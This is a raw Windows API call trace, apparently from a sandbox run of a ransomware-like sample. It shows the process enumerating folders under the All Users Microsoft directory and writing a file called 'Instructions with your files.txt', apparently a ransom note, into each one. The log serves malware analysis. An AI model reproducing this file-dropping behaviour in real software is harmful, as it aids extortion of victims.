[0131.966] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.966] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.966] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.966] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.966] CloseHandle (hObject=0x118) returned 1
[0131.966] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.966] GetProcessHeap () returned 0x810000
[0131.966] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.966] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb400b6c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb400b6c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0
[0131.966] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Instructions with your files.txt") returned 82
[0131.966] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.966] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.967] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.968] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.968] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.968] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.968] CloseHandle (hObject=0x114) returned 1
[0131.968] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.968] GetProcessHeap () returned 0x810000
[0131.968] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.968] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb4031820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4031820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1
[0131.968] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned 50
[0131.968] GetProcessHeap () returned 0x810000
[0131.968] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.968] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*") returned 52
[0131.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb4031820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4031820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.968] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\.") returned 52
[0131.968] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb4031820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4031820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.968] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\..") returned 53
[0131.968] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4031820, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4031820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40c9da0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.968] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\Instructions with your files.txt") returned 83
[0131.968] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.968] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1
[0131.968] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned 66
[0131.968] StrStrIW (lpFirst="WelcomeScan.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.969] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0
[0131.969] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\Instructions with your files.txt") returned 83
[0131.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.969] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.970] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.970] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.970] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.970] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.970] CloseHandle (hObject=0x114) returned 1
[0131.970] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.970] GetProcessHeap () returned 0x810000
[0131.970] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.970] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb4031820, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4031820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0
[0131.970] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\Instructions with your files.txt") returned 76
[0131.970] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.970] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.971] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.971] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.971] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.972] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.972] CloseHandle (hObject=0x110) returned 1
[0131.972] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.972] GetProcessHeap () returned 0x810000
[0131.972] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.972] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
[0131.972] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc") returned 40
[0131.972] GetProcessHeap () returned 0x810000
[0131.972] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.972] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\*") returned 42
[0131.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.972] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\.") returned 42
[0131.972] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.972] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.972] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\..") returned 43
[0131.972] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.972] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb40eff00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.972] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Instructions with your files.txt") returned 73
[0131.972] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.972] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
[0131.972] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned 49
[0131.972] GetProcessHeap () returned 0x810000
[0131.972] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.972] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*") returned 51
[0131.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.973] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\.") returned 51
[0131.973] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.973] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.973] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\..") returned 52
[0131.973] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.973] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.973] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\Instructions with your files.txt") returned 82
[0131.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0131.973] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.973] GetProcessHeap () returned 0x810000
[0131.973] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.973] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
[0131.973] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Instructions with your files.txt") returned 73
[0131.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.973] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.974] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.974] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.974] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.974] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.975] CloseHandle (hObject=0x110) returned 1
[0131.975] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.975] GetProcessHeap () returned 0x810000
[0131.975] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.975] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
[0131.975] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Instructions with your files.txt") returned 65
[0131.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.975] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.976] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.976] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.976] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
